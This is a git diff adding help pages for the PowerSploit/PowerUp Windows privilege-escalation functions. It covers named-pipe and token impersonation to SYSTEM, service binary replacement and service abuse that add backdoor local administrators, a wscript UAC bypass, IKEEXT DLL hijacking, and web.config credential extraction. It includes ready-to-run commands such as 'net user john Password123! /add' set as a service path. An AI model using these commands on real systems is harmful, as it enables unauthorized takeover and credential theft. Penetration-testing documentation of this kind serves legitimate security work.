RELATED LINKS + +[https://github.com/funoverip/mcafee-sitelist-pwd-decryption/ +https://funoverip.net/2016/02/mcafee-sitelist-xml-password-decryption/ +https://github.com/tfairane/HackStory/blob/master/McAfeePrivesc.md +https://www.syss.de/fileadmin/dokumente/Publikationen/2011/SySS_2011_Deeg_Privilege_Escalation_via_Antivirus_Software.pdf](https://github.com/funoverip/mcafee-sitelist-pwd-decryption/ +https://funoverip.net/2016/02/mcafee-sitelist-xml-password-decryption/ +https://github.com/tfairane/HackStory/blob/master/McAfeePrivesc.md +https://www.syss.de/fileadmin/dokumente/Publikationen/2011/SySS_2011_Deeg_Privilege_Escalation_via_Antivirus_Software.pdf) + diff --git a/docs/Privesc/Get-System.md b/docs/Privesc/Get-System.md new file mode 100755 index 00000000..bcaf3d68 --- /dev/null +++ b/docs/Privesc/Get-System.md @@ -0,0 +1,172 @@ +# Get-System + +## SYNOPSIS +GetSystem functionality inspired by Meterpreter's getsystem. +'NamedPipe' impersonation doesn't need SeDebugPrivilege but does create +a service, 'Token' duplications a SYSTEM token but needs SeDebugPrivilege. +NOTE: if running PowerShell 2.0, start powershell.exe with '-STA' to ensure +token duplication works correctly. + +PowerSploit Function: Get-System +Author: @harmj0y, @mattifestation +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +### NamedPipe (Default) +``` +Get-System [-Technique ] [-ServiceName ] [-PipeName ] +``` + +### Token +``` +Get-System [-Technique ] +``` + +### RevToSelf +``` +Get-System [-RevToSelf] +``` + +### WhoAmI +``` +Get-System [-WhoAmI] +``` + +## DESCRIPTION +{{Fill in the Description}} + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-System +``` + +Uses named impersonate to elevate the current thread token to SYSTEM. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-System -ServiceName 'PrivescSvc' -PipeName 'secret' +``` + +Uses named impersonate to elevate the current thread token to SYSTEM +with a custom service and pipe name. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-System -Technique Token +``` + +Uses token duplication to elevate the current thread token to SYSTEM. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +Get-System -WhoAmI +``` + +Displays the credentials for the current thread. + +### -------------------------- EXAMPLE 5 -------------------------- +``` +Get-System -RevToSelf +``` + +Reverts the current thread privileges. + +## PARAMETERS + +### -Technique +The technique to use, 'NamedPipe' or 'Token'. + +```yaml +Type: String +Parameter Sets: NamedPipe, Token +Aliases: + +Required: False +Position: Named +Default value: NamedPipe +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServiceName +The name of the service used with named pipe impersonation, defaults to 'TestSVC'. + +```yaml +Type: String +Parameter Sets: NamedPipe +Aliases: + +Required: False +Position: Named +Default value: TestSVC +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -PipeName +The name of the named pipe used with named pipe impersonation, defaults to 'TestSVC'. + +```yaml +Type: String +Parameter Sets: NamedPipe +Aliases: + +Required: False +Position: Named +Default value: TestSVC +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -RevToSelf +Reverts the current thread privileges. + +```yaml +Type: SwitchParameter +Parameter Sets: RevToSelf +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -WhoAmI +Switch. +Display the credentials for the current PowerShell thread. + +```yaml +Type: SwitchParameter +Parameter Sets: WhoAmI +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES + +## RELATED LINKS + +[https://github.com/rapid7/meterpreter/blob/2a891a79001fc43cb25475cc43bced9449e7dc37/source/extensions/priv/server/elevate/namedpipe.c +https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot +http://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/ +http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/](https://github.com/rapid7/meterpreter/blob/2a891a79001fc43cb25475cc43bced9449e7dc37/source/extensions/priv/server/elevate/namedpipe.c +https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot +http://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/ +http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/) + diff --git a/docs/Privesc/Get-UnattendedInstallFile.md b/docs/Privesc/Get-UnattendedInstallFile.md new file mode 100755 index 00000000..89275200 --- /dev/null +++ b/docs/Privesc/Get-UnattendedInstallFile.md @@ -0,0 +1,44 @@ +# Get-UnattendedInstallFile + +## SYNOPSIS +Checks several locations for remaining unattended installation files, +which may have deployment credentials. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Get-UnattendedInstallFile +``` + +## DESCRIPTION +{{Fill in the Description}} + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-UnattendedInstallFile +``` + +Finds any remaining unattended installation files. + +## PARAMETERS + +## INPUTS + +## OUTPUTS + +### PowerUp.UnattendedInstallFile + +Custom PSObject containing results. + +## NOTES + +## RELATED LINKS + +[http://www.fuzzysecurity.com/tutorials/16.html](http://www.fuzzysecurity.com/tutorials/16.html) + diff --git a/docs/Privesc/Get-UnquotedService.md b/docs/Privesc/Get-UnquotedService.md new file mode 100755 index 00000000..4b613557 --- /dev/null +++ b/docs/Privesc/Get-UnquotedService.md @@ -0,0 +1,45 @@ +# Get-UnquotedService + +## SYNOPSIS +Get-UnquotedService Returns the name and binary path for services with unquoted paths +that also have a space in the name. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-ModifiablePath, Test-ServiceDaclPermission + +## SYNTAX + +``` +Get-UnquotedService +``` + +## DESCRIPTION +Uses Get-WmiObject to query all win32_service objects and extract out +the binary pathname for each. +Then checks if any binary paths have a space +and aren't quoted. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-UnquotedService +``` + +Get a set of potentially exploitable services. + +## PARAMETERS + +## INPUTS + +## OUTPUTS + +### PowerUp.UnquotedService + +## NOTES + +## RELATED LINKS + +[https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/trusted_service_path.rb](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/trusted_service_path.rb) + diff --git a/docs/Privesc/Get-WebConfig.md b/docs/Privesc/Get-WebConfig.md new file mode 100755 index 00000000..78cef7d1 --- /dev/null +++ b/docs/Privesc/Get-WebConfig.md @@ -0,0 +1,93 @@ +# Get-WebConfig + +## SYNOPSIS +This script will recover cleartext and encrypted connection strings from all web.config +files on the system. +Also, it will decrypt them if needed. + +Author: Scott Sutherland, Antti Rantasaari +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Get-WebConfig +``` + +## DESCRIPTION +This script will identify all of the web.config files on the system and recover the +connection strings used to support authentication to backend databases. +If needed, the +script will also decrypt the connection strings on the fly. +The output supports the +pipeline which can be used to convert all of the results into a pretty table by piping +to format-table. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Return a list of cleartext and decrypted connect strings from web.config files. +``` + +Get-WebConfig + +user : s1admin +pass : s1password +dbserv : 192.168.1.103\server1 +vdir : C:\test2 +path : C:\test2\web.config +encr : No + +user : s1user +pass : s1password +dbserv : 192.168.1.103\server1 +vdir : C:\inetpub\wwwroot +path : C:\inetpub\wwwroot\web.config +encr : Yes + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Return a list of clear text and decrypted connect strings from web.config files. +``` + +Get-WebConfig | Format-Table -Autosize + +user pass dbserv vdir path encr +---- ---- ------ ---- ---- ---- +s1admin s1password 192.168.1.101\server1 C:\App1 C:\App1\web.config No +s1user s1password 192.168.1.101\server1 C:\inetpub\wwwroot C:\inetpub\wwwroot\web.config No +s2user s2password 192.168.1.102\server2 C:\App2 C:\App2\test\web.config No +s2user s2password 192.168.1.102\server2 C:\App2 C:\App2\web.config Yes +s3user s3password 192.168.1.103\server3 D:\App3 D:\App3\web.config No + +## PARAMETERS + +## INPUTS + +## OUTPUTS + +### System.Boolean + +System.Data.DataTable + +## NOTES +Below is an alterantive method for grabbing connection strings, but it doesn't support decryption. +for /f "tokens=*" %i in ('%systemroot%\system32\inetsrv\appcmd.exe list sites /text:name') do %systemroot%\system32\inetsrv\appcmd.exe list config "%i" -section:connectionstrings + +Author: Scott Sutherland - 2014, NetSPI +Author: Antti Rantasaari - 2014, NetSPI + +## RELATED LINKS + +[https://github.com/darkoperator/Posh-SecMod/blob/master/PostExploitation/PostExploitation.psm1 +http://www.netspi.com +https://raw2.github.com/NetSPI/cmdsql/master/cmdsql.aspx +http://www.iis.net/learn/get-started/getting-started-with-iis/getting-started-with-appcmdexe +http://msdn.microsoft.com/en-us/library/k6h9cz8h(v=vs.80).aspx](https://github.com/darkoperator/Posh-SecMod/blob/master/PostExploitation/PostExploitation.psm1 +http://www.netspi.com +https://raw2.github.com/NetSPI/cmdsql/master/cmdsql.aspx +http://www.iis.net/learn/get-started/getting-started-with-iis/getting-started-with-appcmdexe +http://msdn.microsoft.com/en-us/library/k6h9cz8h(v=vs.80).aspx) + diff --git a/docs/Privesc/Install-ServiceBinary.md b/docs/Privesc/Install-ServiceBinary.md new file mode 100755 index 00000000..bc75a2ae --- /dev/null +++ b/docs/Privesc/Install-ServiceBinary.md @@ -0,0 +1,175 @@ +# Install-ServiceBinary + +## SYNOPSIS +Replaces the service binary for the specified service with one that executes +a specified command as SYSTEM. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-ServiceDetail, Get-ModifiablePath, Write-ServiceBinary + +## SYNTAX + +``` +Install-ServiceBinary [-Name] [-UserName ] [-Password ] [-LocalGroup ] + [-Credential ] [-Command ] +``` + +## DESCRIPTION +Takes a esrvice Name or a ServiceProcess.ServiceController on the pipeline where the +current user can modify the associated service binary listed in the binPath. +Backs up +the original service binary to "OriginalService.exe.bak" in service binary location, +and then uses Write-ServiceBinary to create a C# service binary that either adds +a local administrator user or executes a custom command. +The new service binary is +replaced in the original service binary path, and a custom object is returned that +captures the original and new service binary configuration. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Install-ServiceBinary -Name VulnSVC +``` + +Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary +for VulnSVC with one that adds a local Administrator (john/Password123!). + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-Service VulnSVC | Install-ServiceBinary +``` + +Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary +for VulnSVC with one that adds a local Administrator (john/Password123!). + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Install-ServiceBinary -Name VulnSVC -UserName 'TESTLAB\john' +``` + +Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary +for VulnSVC with one that adds TESTLAB\john to the Administrators local group. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +Install-ServiceBinary -Name VulnSVC -UserName backdoor -Password Password123! +``` + +Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary +for VulnSVC with one that adds a local Administrator (backdoor/Password123!). + +### -------------------------- EXAMPLE 5 -------------------------- +``` +Install-ServiceBinary -Name VulnSVC -Command "net ..." +``` + +Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary +for VulnSVC with one that executes a custom command. + +## PARAMETERS + +### -Name +The service name the EXE will be running under. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ServiceName + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -UserName +The \[domain\\\]username to add. +If not given, it defaults to "john". +Domain users are not created, only added to the specified localgroup. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: John +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Password +The password to set for the added user. +If not given, it defaults to "Password123!" + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Password123! +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LocalGroup +Local group name to add the user to (default of 'Administrators'). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Administrators +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object specifying the user/password to add. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Command +Custom command to execute instead of user creation. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerUp.ServiceBinary.Installed + +## NOTES + +## RELATED LINKS + diff --git a/docs/Privesc/Invoke-PrivescAudit.md b/docs/Privesc/Invoke-PrivescAudit.md new file mode 100755 index 00000000..71109626 --- /dev/null +++ b/docs/Privesc/Invoke-PrivescAudit.md @@ -0,0 +1,63 @@ +# Invoke-PrivescAudit + +## SYNOPSIS +Executes all functions that check for various Windows privilege escalation opportunities. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Invoke-PrivescAudit [-HTMLReport] +``` + +## DESCRIPTION +Executes all functions that check for various Windows privilege escalation opportunities. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Invoke-PrivescAudit +``` + +Runs all escalation checks and outputs a status report for discovered issues. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Invoke-PrivescAudit -HTMLReport +``` + +Runs all escalation checks and outputs a status report to SYSTEM.username.html +detailing any discovered issues. + +## PARAMETERS + +### -HTMLReport +Switch. +Write a HTML version of the report to SYSTEM.username.html. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### System.String + +## NOTES + +## RELATED LINKS + diff --git a/docs/Privesc/Invoke-ServiceAbuse.md b/docs/Privesc/Invoke-ServiceAbuse.md new file mode 100755 index 00000000..8d493d7a --- /dev/null +++ b/docs/Privesc/Invoke-ServiceAbuse.md @@ -0,0 +1,194 @@ +# Invoke-ServiceAbuse + +## SYNOPSIS +Abuses a function the current user has configuration rights on in order +to add a local administrator or execute a custom command. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-ServiceDetail, Set-ServiceBinaryPath + +## SYNTAX + +``` +Invoke-ServiceAbuse [-Name] [-UserName ] [-Password ] [-LocalGroup ] + [-Credential ] [-Command ] [-Force] +``` + +## DESCRIPTION +Takes a service Name or a ServiceProcess.ServiceController on the pipeline that the current +user has configuration modification rights on and executes a series of automated actions to +execute commands as SYSTEM. +First, the service is enabled if it was set as disabled and the +original service binary path and configuration state are preserved. +Then the service is stopped +and the Set-ServiceBinaryPath function is used to set the binary (binPath) for the service to a +series of commands, the service is started, stopped, and the next command is configured. +After +completion, the original service configuration is restored and a custom object is returned +that captures the service abused and commands run. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Invoke-ServiceAbuse -Name VulnSVC +``` + +Abuses service 'VulnSVC' to add a localuser "john" with password +"Password123! +to the machine and local administrator group + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-Service VulnSVC | Invoke-ServiceAbuse +``` + +Abuses service 'VulnSVC' to add a localuser "john" with password +"Password123! +to the machine and local administrator group + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Invoke-ServiceAbuse -Name VulnSVC -UserName "TESTLAB\john" +``` + +Abuses service 'VulnSVC' to add a the domain user TESTLAB\john to the +local adminisrtators group. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +Invoke-ServiceAbuse -Name VulnSVC -UserName backdoor -Password password -LocalGroup "Power Users" +``` + +Abuses service 'VulnSVC' to add a localuser "backdoor" with password +"password" to the machine and local "Power Users" group + +### -------------------------- EXAMPLE 5 -------------------------- +``` +Invoke-ServiceAbuse -Name VulnSVC -Command "net ..." +``` + +Abuses service 'VulnSVC' to execute a custom command. + +## PARAMETERS + +### -Name +An array of one or more service names to abuse. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: ServiceName + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -UserName +The \[domain\\\]username to add. +If not given, it defaults to "john". +Domain users are not created, only added to the specified localgroup. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: John +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Password +The password to set for the added user. +If not given, it defaults to "Password123!" + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Password123! +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LocalGroup +Local group name to add the user to (default of 'Administrators'). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Administrators +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object specifying the user/password to add. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Command +Custom command to execute instead of user creation. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Force +Switch. +Force service stopping, even if other services are dependent. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerUp.AbusedService + +## NOTES + +## RELATED LINKS + diff --git a/docs/Privesc/Invoke-WScriptUACBypass.md b/docs/Privesc/Invoke-WScriptUACBypass.md new file mode 100755 index 00000000..f9eeb8d3 --- /dev/null +++ b/docs/Privesc/Invoke-WScriptUACBypass.md @@ -0,0 +1,85 @@ +# Invoke-WScriptUACBypass + +## SYNOPSIS +Performs the bypass UAC attack by abusing the lack of an embedded manifest in wscript.exe. + +Author: Matt Nelson (@enigma0x3), Will Schroeder (@harmj0y), Vozzie +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Invoke-WScriptUACBypass [-Command] [-WindowStyle ] +``` + +## DESCRIPTION +Drops wscript.exe and a custom manifest into C:\Windows and then proceeds to execute +VBScript using the wscript executable with the new manifest. +The VBScript executed by +C:\Windows\wscript.exe will run elevated. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +" +``` + +Launches the specified PowerShell encoded command in high-integrity. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Invoke-WScriptUACBypass -Command cmd.exe -WindowStyle 'Visible' +``` + +Spawns a high integrity cmd.exe. + +## PARAMETERS + +### -Command +The shell command you want wscript.exe to run elevated. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: CMD + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -WindowStyle +Whether to display or hide the window for the executed '-Command X'. +Accepted values are 'Hidden' and 'Normal'/'Visible. +Default is 'Hidden'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Hidden +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES + +## RELATED LINKS + +[http://seclist.us/uac-bypass-vulnerability-in-the-windows-script-host.html +https://github.com/Vozzie/uacscript +https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-WScriptBypassUAC.ps1](http://seclist.us/uac-bypass-vulnerability-in-the-windows-script-host.html +https://github.com/Vozzie/uacscript +https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-WScriptBypassUAC.ps1) + diff --git a/docs/Privesc/Restore-ServiceBinary.md b/docs/Privesc/Restore-ServiceBinary.md new file mode 100755 index 00000000..a88fc297 --- /dev/null +++ b/docs/Privesc/Restore-ServiceBinary.md @@ -0,0 +1,87 @@ +# Restore-ServiceBinary + +## SYNOPSIS +Restores a service binary backed up by Install-ServiceBinary. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-ServiceDetail, Get-ModifiablePath + +## SYNTAX + +``` +Restore-ServiceBinary [-Name] [[-BackupPath] ] +``` + +## DESCRIPTION +Takes a service Name or a ServiceProcess.ServiceController on the pipeline and +checks for the existence of an "OriginalServiceBinary.exe.bak" in the service +binary location. +If it exists, the backup binary is restored to the original +binary path. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Restore-ServiceBinary -Name VulnSVC +``` + +Restore the original binary for the service 'VulnSVC'. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-Service VulnSVC | Restore-ServiceBinary +``` + +Restore the original binary for the service 'VulnSVC'. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Restore-ServiceBinary -Name VulnSVC -BackupPath 'C:\temp\backup.exe' +``` + +Restore the original binary for the service 'VulnSVC' from a custom location. + +## PARAMETERS + +### -Name +The service name to restore a binary for. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ServiceName + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -BackupPath +Optional manual path to the backup binary. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 2 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerUp.ServiceBinary.Installed + +## NOTES + +## RELATED LINKS + diff --git a/docs/Privesc/Set-ServiceBinaryPath.md b/docs/Privesc/Set-ServiceBinaryPath.md new file mode 100755 index 00000000..b39926fd --- /dev/null +++ b/docs/Privesc/Set-ServiceBinaryPath.md @@ -0,0 +1,92 @@ +# Set-ServiceBinaryPath + +## SYNOPSIS +Sets the binary path for a service to a specified value. + +Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: PSReflect + +## SYNTAX + +``` +Set-ServiceBinaryPath [-Name] [-Path] +``` + +## DESCRIPTION +Takes a service Name or a ServiceProcess.ServiceController on the pipeline and first opens up a +service handle to the service with ConfigControl access using the GetServiceHandle +Win32 API call. +ChangeServiceConfig is then used to set the binary path (lpBinaryPathName/binPath) +to the string value specified by binPath, and the handle is closed off. + +Takes one or more ServiceProcess.ServiceController objects on the pipeline and adds a +Dacl field to each object. +It does this by opening a handle with ReadControl for the +service with using the GetServiceHandle Win32 API call and then uses +QueryServiceObjectSecurity to retrieve a copy of the security descriptor for the service. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Set-ServiceBinaryPath -Name VulnSvc -Path 'net user john Password123! /add' +``` + +Sets the binary path for 'VulnSvc' to be a command to add a user. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-Service VulnSvc | Set-ServiceBinaryPath -Path 'net user john Password123! /add' +``` + +Sets the binary path for 'VulnSvc' to be a command to add a user. + +## PARAMETERS + +### -Name +An array of one or more service names to set the binary path for. +Required. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: ServiceName + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Path +The new binary path (lpBinaryPathName) to set for the specified service. +Required. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: BinaryPath, binPath + +Required: True +Position: 2 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### System.Boolean + +$True if configuration succeeds, $False otherwise. + +## NOTES + +## RELATED LINKS + +[https://msdn.microsoft.com/en-us/library/windows/desktop/ms681987(v=vs.85).aspx](https://msdn.microsoft.com/en-us/library/windows/desktop/ms681987(v=vs.85).aspx) + diff --git a/docs/Privesc/Test-ServiceDaclPermission.md b/docs/Privesc/Test-ServiceDaclPermission.md new file mode 100755 index 00000000..2251a116 --- /dev/null +++ b/docs/Privesc/Test-ServiceDaclPermission.md @@ -0,0 +1,112 @@ +# Test-ServiceDaclPermission + +## SYNOPSIS +Tests one or more passed services or service names against a given permission set, +returning the service objects where the current user have the specified permissions. + +Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: Add-ServiceDacl + +## SYNTAX + +``` +Test-ServiceDaclPermission [-Name] [-Permissions ] [-PermissionSet ] +``` + +## DESCRIPTION +Takes a service Name or a ServiceProcess.ServiceController on the pipeline, and first adds +a service Dacl to the service object with Add-ServiceDacl. +All group SIDs for the current +user are enumerated services where the user has some type of permission are filtered. +The +services are then filtered against a specified set of permissions, and services where the +current user have the specified permissions are returned. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-Service | Test-ServiceDaclPermission +``` + +Return all service objects where the current user can modify the service configuration. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-Service | Test-ServiceDaclPermission -PermissionSet 'Restart' +``` + +Return all service objects that the current user can restart. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Test-ServiceDaclPermission -Permissions 'Start' -Name 'VulnSVC' +``` + +Return the VulnSVC object if the current user has start permissions. + +## PARAMETERS + +### -Name +An array of one or more service names to test against the specified permission set. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: ServiceName, Service + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Permissions +A manual set of permission to test again. +One of:'QueryConfig', 'ChangeConfig', 'QueryStatus', +'EnumerateDependents', 'Start', 'Stop', 'PauseContinue', 'Interrogate', UserDefinedControl', +'Delete', 'ReadControl', 'WriteDac', 'WriteOwner', 'Synchronize', 'AccessSystemSecurity', +'GenericAll', 'GenericExecute', 'GenericWrite', 'GenericRead', 'AllAccess' + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -PermissionSet +A pre-defined permission set to test a specified service against. +'ChangeConfig', 'Restart', or 'AllAccess'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: ChangeConfig +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### ServiceProcess.ServiceController + +## NOTES + +## RELATED LINKS + +[https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/](https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/) + diff --git a/docs/Privesc/Write-HijackDll.md b/docs/Privesc/Write-HijackDll.md new file mode 100755 index 00000000..d38e3e73 --- /dev/null +++ b/docs/Privesc/Write-HijackDll.md @@ -0,0 +1,173 @@ +# Write-HijackDll + +## SYNOPSIS +Patches in the path to a specified .bat (containing the specified command) into a +pre-compiled hijackable C++ DLL writes the DLL out to the specified ServicePath location. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Write-HijackDll [-DllPath] [[-Architecture] ] [[-BatPath] ] [[-UserName] ] + [[-Password] ] [[-LocalGroup] ] [[-Credential] ] [[-Command] ] +``` + +## DESCRIPTION +First builds a self-deleting .bat file that executes the specified -Command or local user, +to add and writes the.bat out to -BatPath. +The BatPath is then patched into a pre-compiled +C++ DLL that is built to be hijackable by the IKEEXT service. +There are two DLLs, one for +x86 and one for x64, and both are contained as base64-encoded strings. +The DLL is then +written out to the specified OutputFile. + +## EXAMPLES + +### Example 1 +``` +PS C:\> {{ Add example code here }} +``` + +{{ Add example description here }} + +## PARAMETERS + +### -DllPath +File name to write the generated DLL out to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: True +Position: 1 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Architecture +The Architecture to generate for the DLL, x86 or x64. +If not specified, PowerUp +will try to automatically determine the correct architecture. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 2 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -BatPath +Path to the .bat for the DLL to launch. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 3 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserName +The \[domain\\\]username to add. +If not given, it defaults to "john". +Domain users are not created, only added to the specified localgroup. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 4 +Default value: John +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Password +The password to set for the added user. +If not given, it defaults to "Password123!" + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 5 +Default value: Password123! +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LocalGroup +Local group name to add the user to (default of 'Administrators'). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 6 +Default value: Administrators +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object specifying the user/password to add. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: 7 +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Command +Custom command to execute instead of user creation. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 8 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerUp.HijackableDLL + +## NOTES + +## RELATED LINKS + 